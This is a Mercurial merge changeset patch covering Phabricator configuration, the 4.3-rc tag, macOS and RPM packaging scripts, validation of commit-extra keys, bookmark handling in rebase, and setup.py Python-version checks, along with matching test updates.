# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1501596865 14400
#      Tue Aug 01 10:14:25 2017 -0400
# Node ID 658524d45af0dbb627b25d795ed84227a20fd634
# Parent  9a944e908ecf9ac3aabf30a24406513370eeebe7
# Parent  a72b2db1a6a9f82b5576dfcbac059f10836e6b79
merge with stable

diff --git a/.arcconfig b/.arcconfig
new file mode 100644
--- /dev/null
+++ b/.arcconfig
@@ -0,0 +1,6 @@
+{
+    "conduit_uri": "https://phab.mercurial-scm.org/api",
+    "repository.callsign": "HG",
+    "arc.land.onto.default": "@",
+    "base": "hg:.^"
+}
diff --git a/.hgsigs b/.hgsigs
--- a/.hgsigs
+++ b/.hgsigs
@@ -146,3 +146,4 @@
 bb96d4a497432722623ae60d9bc734a1e360179e 0 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
+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
diff --git a/.hgtags b/.hgtags
--- a/.hgtags
+++ b/.hgtags
@@ -159,3 +159,4 @@
 bb96d4a497432722623ae60d9bc734a1e360179e 4.2
 c850f0ed54c1d42f9aa079ad528f8127e5775217 4.2.1
 26c49ed51a698ec016d2b4c6b44ca3c3f73cc788 4.2.2
+857876ebaed4e315f63157bd157d6ce553c7ab73 4.3-rc
diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -14,6 +14,7 @@
 export LANGUAGE=C
 export LC_ALL=C
 TESTFLAGS ?= $(shell echo $$HGTESTFLAGS)
+OSXVERSIONFLAGS ?= $(shell echo $$OSXVERSIONFLAGS)
 
 # Set this to e.g. "mingw32" to use a non-default compiler.
 COMPILER=
@@ -62,7 +63,7 @@
 
 cleanbutpackages:
 	-$(PYTHON) setup.py clean --all # ignore errors from this command
-	find contrib doc hgext hgext3rd i18n mercurial tests \
+	find contrib doc hgext hgext3rd i18n mercurial tests hgdemandimport \
 		\( -name '*.py[cdo]' -o -name '*.so' \) -exec rm -f '{}' ';'
 	rm -f MANIFEST MANIFEST.in hgext/__index__.py tests/*.err
 	rm -f mercurial/__modulepolicy__.py
@@ -185,7 +186,7 @@
 	  PREFIX=/usr/local \
 	  clean install
 	mkdir -p $${OUTPUTDIR:-dist}
-	HGVER=$$((cat build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py; echo 'print(version)') | python) && \
+	HGVER=$(shell python contrib/genosxversion.py $(OSXVERSIONFLAGS) build/mercurial/Library/Python/2.7/site-packages/mercurial/__version__.py ) && \
 	OSXVER=$$(sw_vers -productVersion | cut -d. -f1,2) && \
 	pkgbuild --filter \\.DS_Store --root build/mercurial/ \
 	  --identifier org.mercurial-scm.mercurial \
@@ -275,13 +276,13 @@
 
 centos6:
 	mkdir -p packages/centos6
-	contrib/buildrpm
+	contrib/buildrpm --withpython
 	cp rpmbuild/RPMS/*/* packages/centos6
 	cp rpmbuild/SRPMS/* packages/centos6
 
 docker-centos6:
 	mkdir -p packages/centos6
-	contrib/dockerrpm centos6
+	contrib/dockerrpm centos6 --withpython
 
 centos7:
 	mkdir -p packages/centos7
diff --git a/contrib/build-linux-wheels.sh b/contrib/build-linux-wheels.sh
old mode 100644
new mode 100755
--- a/contrib/build-linux-wheels.sh
+++ b/contrib/build-linux-wheels.sh
@@ -3,7 +3,7 @@
 # https://github.com/pypa/python-manylinux-demo/blob/master/travis/build-wheels.sh
 set -e -x
 
-PYTHON_TARGETS=$(ls -d /opt/python/cp2*/bin)
+PYTHON_TARGETS=$(ls -d /opt/python/cp27*/bin)
 
 # Create an user for the tests
 useradd hgbuilder
diff --git a/contrib/docker/centos6 b/contrib/docker/centos6
--- a/contrib/docker/centos6
+++ b/contrib/docker/centos6
@@ -7,3 +7,5 @@
 RUN yum install -y tar
 # For creating repo meta data
 RUN yum install -y createrepo
+# For python
+RUN yum install -y readline-devel openssl-devel ncurses-devel zlib-devel bzip2-devel
diff --git a/contrib/dockerlib.sh b/contrib/dockerlib.sh
--- a/contrib/dockerlib.sh
+++ b/contrib/dockerlib.sh
@@ -38,5 +38,5 @@
         echo RUN groupadd $DBUILDUSER -g `id -g` -o
         echo RUN useradd $DBUILDUSER -u `id -u` -g $DBUILDUSER -o
     fi
-  ) | $DOCKER build --tag $CONTAINER -
+  ) | $DOCKER build --build-arg http_proxy --build-arg https_proxy --tag $CONTAINER -
 }
diff --git a/contrib/dockerrpm b/contrib/dockerrpm
--- a/contrib/dockerrpm
+++ b/contrib/dockerrpm
@@ -16,10 +16,10 @@
 contrib/buildrpm --rpmbuilddir $RPMBUILDDIR --prepare $*
 
 DSHARED=/mnt/shared
-$DOCKER run -u $DBUILDUSER --rm -v $RPMBUILDDIR:$DSHARED $CONTAINER \
+$DOCKER run -e http_proxy -e https_proxy -u $DBUILDUSER --rm -v $RPMBUILDDIR:$DSHARED $CONTAINER \
     rpmbuild --define "_topdir $DSHARED" -ba $DSHARED/SPECS/mercurial.spec --clean
 
-$DOCKER run -u $DBUILDUSER --rm -v $RPMBUILDDIR:$DSHARED $CONTAINER \
+$DOCKER run -e http_proxy -e https_proxy -u $DBUILDUSER --rm -v $RPMBUILDDIR:$DSHARED $CONTAINER \
     createrepo $DSHARED
 
 cat << EOF > $RPMBUILDDIR/mercurial.repo
diff --git a/contrib/genosxversion.py b/contrib/genosxversion.py
new file mode 100755
--- /dev/null
+++ b/contrib/genosxversion.py
@@ -0,0 +1,130 @@
+#!/usr/bin/env python2
+from __future__ import absolute_import, print_function
+
+import argparse
+import json
+import os
+import subprocess
+import sys
+
+# Always load hg libraries from the hg we can find on $PATH.
+hglib = json.loads(subprocess.check_output(
+    ['hg', 'debuginstall', '-Tjson']))[0]['hgmodules']
+sys.path.insert(0, os.path.dirname(hglib))
+
+from mercurial import util
+
+ap = argparse.ArgumentParser()
+ap.add_argument('--paranoid',
+                action='store_true',
+                help=("Be paranoid about how version numbers compare and "
+                      "produce something that's more likely to sort "
+                      "reasonably."))
+ap.add_argument('--selftest', action='store_true', help='Run self-tests.')
+ap.add_argument('versionfile', help='Path to a valid mercurial __version__.py')
+
+def paranoidver(ver):
+    """Given an hg version produce something that distutils can sort.
+
+    Some Mac package management systems use distutils code in order to
+    figure out upgrades, which makes life difficult. The test case is
+    a reduced version of code in the Munki tool used by some large
+    organizations to centrally manage OS X packages, which is what
+    inspired this kludge.
+
+    >>> paranoidver('3.4')
+    '3.4.0'
+    >>> paranoidver('3.4.2')
+    '3.4.2'
+    >>> paranoidver('3.0-rc+10')
+    '2.9.9999-rc+10'
+    >>> paranoidver('4.2+483-5d44d7d4076e')
+    '4.2.0+483-5d44d7d4076e'
+    >>> paranoidver('4.2.1+598-48d1e1214d8c')
+    '4.2.1+598-48d1e1214d8c'
+    >>> paranoidver('4.3-rc')
+    '4.2.9999-rc'
+    >>> paranoidver('4.3')
+    '4.3.0'
+    >>> from distutils import version
+    >>> class LossyPaddedVersion(version.LooseVersion):
+    ...     '''Subclass version.LooseVersion to compare things like
+    ...     "10.6" and "10.6.0" as equal'''
+    ...     def __init__(self, s):
+    ...             self.parse(s)
+    ...
+    ...     def _pad(self, version_list, max_length):
+    ...         'Pad a version list by adding extra 0 components to the end'
+    ...         # copy the version_list so we don't modify it
+    ...         cmp_list = list(version_list)
+    ...         while len(cmp_list) < max_length:
+    ...             cmp_list.append(0)
+    ...         return cmp_list
+    ...
+    ...     def __cmp__(self, other):
+    ...         if isinstance(other, str):
+    ...             other = MunkiLooseVersion(other)
+    ...         max_length = max(len(self.version), len(other.version))
+    ...         self_cmp_version = self._pad(self.version, max_length)
+    ...         other_cmp_version = self._pad(other.version, max_length)
+    ...         return cmp(self_cmp_version, other_cmp_version)
+    >>> def testver(older, newer):
+    ...   o = LossyPaddedVersion(paranoidver(older))
+    ...   n = LossyPaddedVersion(paranoidver(newer))
+    ...   return o < n
+    >>> testver('3.4', '3.5')
+    True
+    >>> testver('3.4.0', '3.5-rc')
+    True
+    >>> testver('3.4-rc', '3.5')
+    True
+    >>> testver('3.4-rc+10-deadbeef', '3.5')
+    True
+    >>> testver('3.4.2', '3.5-rc')
+    True
+    >>> testver('3.4.2', '3.5-rc+10-deadbeef')
+    True
+    >>> testver('4.2+483-5d44d7d4076e', '4.2.1+598-48d1e1214d8c')
+    True
+    >>> testver('4.3-rc', '4.3')
+    True
+    >>> testver('4.3', '4.3-rc')
+    False
+    """
+    major, minor, micro, extra = util.versiontuple(ver, n=4)
+    if micro is None:
+        micro = 0
+    if extra:
+        if extra.startswith('rc'):
+            if minor == 0:
+                major -= 1
+                minor = 9
+            else:
+                minor -= 1
+            micro = 9999
+            extra = '-' + extra
+        else:
+            extra = '+' + extra
+    else:
+        extra = ''
+    return '%d.%d.%d%s' % (major, minor, micro, extra)
+
+def main(argv):
+    opts = ap.parse_args(argv[1:])
+    if opts.selftest:
+        import doctest
+        doctest.testmod()
+        return
+    with open(opts.versionfile) as f:
+        for l in f:
+            if l.startswith('version = '):
+                # version number is entire line minus the quotes
+                ver = l[len('version = ') + 1:-2]
+                break
+    if opts.paranoid:
+        print(paranoidver(ver))
+    else:
+        print(ver)
+
+if __name__ == '__main__':
+    main(sys.argv)
diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -560,7 +560,8 @@
             if k in meta:
                 header += '# %s %s\n' % (_metanamemap[k], meta[k])
 
-        write(('%s%s\n%s') % (header, desc, body))
+        content = '%s%s\n%s' % (header, desc, body)
+        write(encoding.unitolocal(content))
 
 @command('phabread',
          [('', 'stack', False, _('read dependencies'))],
diff --git a/contrib/python3-whitelist b/contrib/python3-whitelist
--- a/contrib/python3-whitelist
+++ b/contrib/python3-whitelist
@@ -24,7 +24,6 @@
 test-lrucachedict.py
 test-manifest.py
 test-merge-default.t
-test-merge-subrepos.t
 test-merge2.t
 test-merge5.t
 test-revlog-packentry.t
diff --git a/contrib/wix/dist.wxs b/contrib/wix/dist.wxs
--- a/contrib/wix/dist.wxs
+++ b/contrib/wix/dist.wxs
@@ -19,12 +19,14 @@
           <File Name="mercurial.cext.osutil.pyd" />
           <File Name="mercurial.cext.parsers.pyd" />
           <File Name="mercurial.zstd.pyd" />
+          <File Name="hgext.fsmonitor.pywatchman.bser.pyd" />
           <File Name="pyexpat.pyd" />
           <File Name="bz2.pyd" />
           <File Name="select.pyd" />
           <File Name="unicodedata.pyd" />
           <File Name="_ctypes.pyd" />
           <File Name="_elementtree.pyd" />
+          <File Name="_testcapi.pyd" />
           <File Name="_hashlib.pyd" />
           <File Name="_socket.pyd" />
           <File Name="_ssl.pyd" />
diff --git a/contrib/wix/guids.wxi b/contrib/wix/guids.wxi
--- a/contrib/wix/guids.wxi
+++ b/contrib/wix/guids.wxi
@@ -10,7 +10,7 @@
 
   <!-- dist.wxs -->
   <?define dist.guid = {CE405FE6-CD1E-4873-9C9A-7683AE5A3D90} ?>
-  <?define lib.guid = {91D53B14-E924-432A-ACA2-65F9B3F7C56A} ?>
+  <?define lib.guid = {877633b5-0b7e-4b46-8f1c-224a61733297} ?>
 
   <!-- doc.wxs -->
   <?define doc.hg.1.html.guid = {AAAA3FDA-EDC5-4220-B59D-D342722358A2} ?>
diff --git a/hgext/commitextras.py b/hgext/commitextras.py
--- a/hgext/commitextras.py
+++ b/hgext/commitextras.py
@@ -9,6 +9,8 @@
 
 from __future__ import absolute_import
 
+import re
+
 from mercurial.i18n import _
 from mercurial import (
     commands,
@@ -52,6 +54,13 @@
                                 "KEY=VALUE format")
                         raise error.Abort(msg % raw)
                     k, v = raw.split('=', 1)
+                    if not k:
+                        msg = _("unable to parse '%s', keys can't be empty")
+                        raise error.Abort(msg % raw)
+                    if re.search('[^\w-]', k):
+                        msg = _("keys can only contain ascii letters, digits,"
+                                " '_' and '-'")
+                        raise error.Abort(msg)
                     if k in usedinternally:
                         msg = _("key '%s' is used internally, can't be set "
                                 "manually")
diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -512,7 +512,8 @@
             collapsedas = None
             if self.collapsef:
                 collapsedas = newnode
-            clearrebased(ui, repo, self.state, self.skipped, collapsedas)
+            clearrebased(ui, repo, self.dest, self.state, self.skipped,
+                         collapsedas)
 
         clearstatus(repo)
         clearcollapsemsg(repo)
@@ -897,6 +898,58 @@
         copies.duplicatecopies(repo, rev, p1rev, skiprev=dest)
     return stats
 
+def adjustdest(repo, rev, dest, state):
+    """adjust rebase destination given the current rebase state
+
+    rev is what is being rebased. Return a list of two revs, which are the
+    adjusted destinations for rev's p1 and p2, respectively. If a parent is
+    nullrev, return dest without adjustment for it.
+
+    For example, when doing rebase -r B+E -d F, rebase will first move B to B1,
+    and E's destination will be adjusted from F to B1.
+
+        B1 <- written during rebasing B
+        |
+        F <- original destination of B, E
+        |
+        | E <- rev, which is being rebased
+        | |
+        | D <- prev, one parent of rev being checked
+        | |
+        | x <- skipped, ex. no successor or successor in (::dest)
+        | |
+        | C
+        | |
+        | B <- rebased as B1
+        |/
+        A
+
+    Another example about merge changeset, rebase -r C+G+H -d K, rebase will
+    first move C to C1, G to G1, and when it's checking H, the adjusted
+    destinations will be [C1, G1].
+
+            H       C1 G1
+           /|       | /
+          F G       |/
+        K | |  ->   K
+        | C D       |
+        | |/        |
+        | B         | ...
+        |/          |/
+        A           A
+    """
+    result = []
+    for prev in repo.changelog.parentrevs(rev):
+        adjusted = dest
+        if prev != nullrev:
+            # pick already rebased revs from state
+            source = [s for s, d in state.items() if d > 0]
+            candidate = repo.revs('max(%ld and (::%d))', source, prev).first()
+            if candidate is not None:
+                adjusted = state[candidate]
+        result.append(adjusted)
+    return result
+
 def nearestrebased(repo, rev, state):
     """return the nearest ancestors of rev in the rebase result"""
     rebased = [r for r in state if state[r] > nullmerge]
@@ -1301,12 +1354,21 @@
             state[r] = revprecursor
     return originalwd, dest.rev(), state
 
-def clearrebased(ui, repo, state, skipped, collapsedas=None):
+def clearrebased(ui, repo, dest, state, skipped, collapsedas=None):
     """dispose of rebased revision at the end of the rebase
 
     If `collapsedas` is not None, the rebase was a collapse whose result if the
     `collapsedas` node."""
     tonode = repo.changelog.node
+    # Move bookmark of skipped nodes to destination. This cannot be handled
+    # by scmutil.cleanupnodes since it will treat rev as removed (no successor)
+    # and move bookmark backwards.
+    bmchanges = [(name, tonode(max(adjustdest(repo, rev, dest, state))))
+                 for rev in skipped
+                 for name in repo.nodebookmarks(tonode(rev))]
+    if bmchanges:
+        with repo.transaction('rebase') as tr:
+            repo._bookmarks.applychanges(repo, tr, bmchanges)
     mapping = {}
     for rev, newrev in sorted(state.items()):
         if newrev >= 0 and newrev != rev:
diff --git a/mercurial/match.py b/mercurial/match.py
--- a/mercurial/match.py
+++ b/mercurial/match.py
@@ -363,6 +363,9 @@
     def prefix(self):
         return True
 
+    def visitdir(self, dir):
+        return False
+
     def __repr__(self):
         return '<nevermatcher>'
 
diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -2569,7 +2569,7 @@
 
     if relroot != '' and (repo.ui.configbool('devel', 'all-warnings')
                           or repo.ui.configbool('devel', 'check-relroot')):
-        for f in modified + added + removed + copy.keys() + copy.values():
+        for f in modified + added + removed + list(copy) + list(copy.values()):
             if f is not None and not f.startswith(relroot):
                 raise AssertionError(
                     "file %s doesn't start with relroot %s" % (f, relroot))
diff --git a/mercurial/statichttprepo.py b/mercurial/statichttprepo.py
--- a/mercurial/statichttprepo.py
+++ b/mercurial/statichttprepo.py
@@ -182,6 +182,10 @@
     def peer(self):
         return statichttppeer(self)
 
+    def wlock(self, wait=True):
+        raise error.LockUnavailable(0, _('lock not available'), 'lock',
+                                    _('cannot lock static-http repository'))
+
     def lock(self, wait=True):
         raise error.Abort(_('cannot lock static-http repository'))
 
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -648,7 +648,7 @@
             if default is _unset:
                 default = 0
             value = default
-        if not isinstance(value, str):
+        if not isinstance(value, bytes):
             return value
         try:
             return util.sizetoint(value)
diff --git a/setup.py b/setup.py
--- a/setup.py
+++ b/setup.py
@@ -4,10 +4,28 @@
 # 'python setup.py install', or
 # 'python setup.py --help' for more options
 
+import os
+
+supportedpy = '~= 2.7'
+if os.environ.get('HGALLOWPYTHON3', ''):
+    # Mercurial will never work on Python 3 before 3.5 due to a lack
+    # of % formatting on bytestrings, and can't work on 3.6.0 or 3.6.1
+    # due to a bug in % formatting in bytestrings.
+    #
+    # TODO: when we actually work on Python 3, use this string as the
+    # actual supportedpy string.
+    supportedpy = ','.join([
+        '>=2.7',
+        '!=3.0.*',
+        '!=3.1.*',
+        '!=3.2.*',
+        '!=3.3.*',
+        '!=3.4.*',
+        '!=3.6.0',
+        '!=3.6.1',
+    ])
+
 import sys, platform
-if sys.version_info < (2, 7, 0, 'final'):
-    raise SystemExit('Mercurial requires Python 2.7 or later.')
-
 if sys.version_info[0] >= 3:
     printf = eval('print')
     libdir_escape = 'unicode_escape'
@@ -18,6 +36,33 @@
         end = kwargs.get('end', '\n')
         f.write(b' '.join(args) + end)
 
+# Attempt to guide users to a modern pip - this means that 2.6 users
+# should have a chance of getting a 4.2 release, and when we ratchet
+# the version requirement forward again hopefully everyone will get
+# something that works for them.
+if sys.version_info < (2, 7, 0, 'final'):
+    pip_message = ('This may be due to an out of date pip. '
+                   'Make sure you have pip >= 9.0.1.')
+    try:
+        import pip
+        pip_version = tuple([int(x) for x in pip.__version__.split('.')[:3]])
+        if pip_version < (9, 0, 1) :
+            pip_message = (
+                'Your pip version is out of date, please install '
+                'pip >= 9.0.1. pip {} detected.'.format(pip.__version__))
+        else:
+            # pip is new enough - it must be something else
+            pip_message = ''
+    except Exception:
+        pass
+    error = """
+Mercurial does not support Python older than 2.7.
+Python {py} detected.
+{pip}
+""".format(py=sys.version_info, pip=pip_message)
+    printf(error, file=sys.stderr)
+    sys.exit(1)
+
 # Solaris Python packaging brain damage
 try:
     import hashlib
@@ -58,7 +103,7 @@
 ispypy = "PyPy" in sys.version
 
 import ctypes
-import os, stat, subprocess, time
+import stat, subprocess, time
 import re
 import shutil
 import tempfile
@@ -66,7 +111,8 @@
 # We have issues with setuptools on some platforms and builders. Until
 # those are resolved, setuptools is opt-in except for platforms where
 # we don't have issues.
-if os.name == 'nt' or 'FORCE_SETUPTOOLS' in os.environ:
+issetuptools = (os.name == 'nt' or 'FORCE_SETUPTOOLS' in os.environ)
+if issetuptools:
     from setuptools import setup
 else:
     from distutils.core import setup
@@ -156,21 +202,25 @@
     def run(self, args):
         cmd = self.cmd + args
         returncode, out, err = runcmd(cmd, self.env)
-        # If root is executing setup.py, but the repository is owned by
-        # another user (as in "sudo python setup.py install") we will get
-        # trust warnings since the .hg/hgrc file is untrusted. That is
-        # fine, we don't want to load it anyway.  Python may warn about
-        # a missing __init__.py in mercurial/locale, we also ignore that.
-        err = [e for e in err.splitlines()
-               if not e.startswith(b'not trusting file') \
-                  and not e.startswith(b'warning: Not importing') \
-                  and not e.startswith(b'obsolete feature not enabled')]
+        err = filterhgerr(err)
         if err or returncode != 0:
             printf("stderr from '%s':" % (' '.join(cmd)), file=sys.stderr)
-            printf(b'\n'.join([b'  ' + e for e in err]), file=sys.stderr)
+            printf(err, file=sys.stderr)
             return ''
         return out
 
+def filterhgerr(err):
+    # If root is executing setup.py, but the repository is owned by
+    # another user (as in "sudo python setup.py install") we will get
+    # trust warnings since the .hg/hgrc file is untrusted. That is
+    # fine, we don't want to load it anyway.  Python may warn about
+    # a missing __init__.py in mercurial/locale, we also ignore that.
+    err = [e for e in err.splitlines()
+           if (not e.startswith(b'not trusting file')
+               and not e.startswith(b'warning: Not importing')
+               and not e.startswith(b'obsolete feature not enabled'))]
+    return b'\n'.join(b'  ' + e for e in err)
+
 def findhg():
     """Try to figure out how we should invoke hg for examining the local
     repository contents.
@@ -194,7 +244,7 @@
         retcode, out, err = runcmd(hgcmd + check_cmd, hgenv)
     except EnvironmentError:
         retcode = -1
-    if retcode == 0:
+    if retcode == 0 and not filterhgerr(err):
         return hgcommand(hgcmd, hgenv)
 
     # Fall back to trying the local hg installation.
@@ -206,7 +256,7 @@
         retcode, out, err = runcmd(hgcmd + check_cmd, hgenv)
     except EnvironmentError:
         retcode = -1
-    if retcode == 0:
+    if retcode == 0 and not filterhgerr(err):
         return hgcommand(hgcmd, hgenv)
 
     raise SystemExit('Unable to find a working hg binary to extract the '
@@ -533,7 +583,7 @@
         # Screen out egg related commands to prevent egg generation.  But allow
         # mercurial.egg-info generation, since that is part of modern
         # packaging.
-        excl = {'bdist_egg'}
+        excl = set(['bdist_egg'])
         return filter(lambda x: x not in excl, install.get_sub_commands(self))
 
 class hginstalllib(install_lib):
@@ -798,6 +848,8 @@
 
 extra = {}
 
+if issetuptools:
+    extra['python_requires'] = supportedpy
 if py2exeloaded:
     extra['console'] = [
         {'script':'hg',
@@ -885,7 +937,12 @@
       package_data=packagedata,
       cmdclass=cmdclass,
       distclass=hgdist,
-      options={'py2exe': {'packages': ['hgdemandimport', 'hgext', 'email']},
+      options={'py2exe': {'packages': ['hgdemandimport', 'hgext', 'email',
+                                       # implicitly imported per module policy
+                                       # (cffi wouldn't be used as a frozen exe)
+                                       'mercurial.cext',
+                                       #'mercurial.cffi',
+                                       'mercurial.pure']},
                'bdist_mpkg': {'zipdist': False,
                               'license': 'COPYING',
                               'readme': 'contrib/macosx/Readme.html',
diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -96,6 +96,8 @@
         import pygments.lexers as lexers
         import pygments.formatters as formatters
         pygmentspresent = True
+        difflexer = lexers.DiffLexer()
+        terminal256formatter = formatters.Terminal256Formatter()
     except ImportError:
         pass
 
@@ -267,7 +269,7 @@
     parser.add_option("-c", "--cover", action="store_true",
         help="print a test coverage report")
     parser.add_option("--color", choices=["always", "auto", "never"],
-                      default="auto",
+                      default=os.environ.get('HGRUNTESTSCOLOR', 'auto'),
                       help="colorisation: always|auto|never (default: auto)")
     parser.add_option("-d", "--debug", action="store_true",
         help="debug mode: write output of test scripts to console"
@@ -1651,10 +1653,9 @@
                     self.stream.write('\n')
                     for line in lines:
                         if self.color:
-                            line = pygments.highlight(
-                                    line,
-                                    lexers.DiffLexer(),
-                                    formatters.Terminal256Formatter())
+                            line = pygments.highlight(line,
+                                                      difflexer,
+                                                      terminal256formatter)
                         if PYTHON3:
                             self.stream.flush()
                             self.stream.buffer.write(line)
diff --git a/tests/test-check-code.t b/tests/test-check-code.t
--- a/tests/test-check-code.t
+++ b/tests/test-check-code.t
@@ -36,6 +36,7 @@
 Prevent adding new files in the root directory accidentally.
 
   $ testrepohg files 'glob:*'
+  .arcconfig
   .editorconfig
   .hgignore
   .hgsigs
diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -234,7 +234,9 @@
   *** runcommand --config hooks.pre-identify=python:hook.hook id
   eff892de26ec tip
 
+Clean hook cached version
   $ rm hook.py*
+  $ rm -Rf __pycache__
 
   $ echo a >> a
   >>> import os
diff --git a/tests/test-commit.t b/tests/test-commit.t
--- a/tests/test-commit.t
+++ b/tests/test-commit.t
@@ -103,6 +103,7 @@
   $ hg commit -m commit-15 baz
   abort: baz: file not tracked!
   [255]
+  $ rm baz
 #endif
 
   $ touch quux
@@ -129,18 +130,22 @@
   $ echo "[extensions]" >> $HGRCPATH
   $ echo "commitextras=" >> $HGRCPATH
   $ hg status
-  ? baz
   ? quux
-  $ hg add baz
+  $ hg add quux
+  $ hg commit -m "adding internal used extras" --extra amend_source=hash
+  abort: key 'amend_source' is used internally, can't be set manually
+  [255]
+  $ hg commit -m "special chars in extra" --extra id@phab=214
+  abort: keys can only contain ascii letters, digits, '_' and '-'
+  [255]
+  $ hg commit -m "empty key" --extra =value
+  abort: unable to parse '=value', keys can't be empty
+  [255]
   $ hg commit -m "adding extras" --extra sourcehash=foo --extra oldhash=bar
   $ hg log -r . -T '{extras % "{extra}\n"}'
   branch=default
   oldhash=bar
   sourcehash=foo
-  $ hg add quux
-  $ hg commit -m "adding internal used extras" --extra amend_source=hash
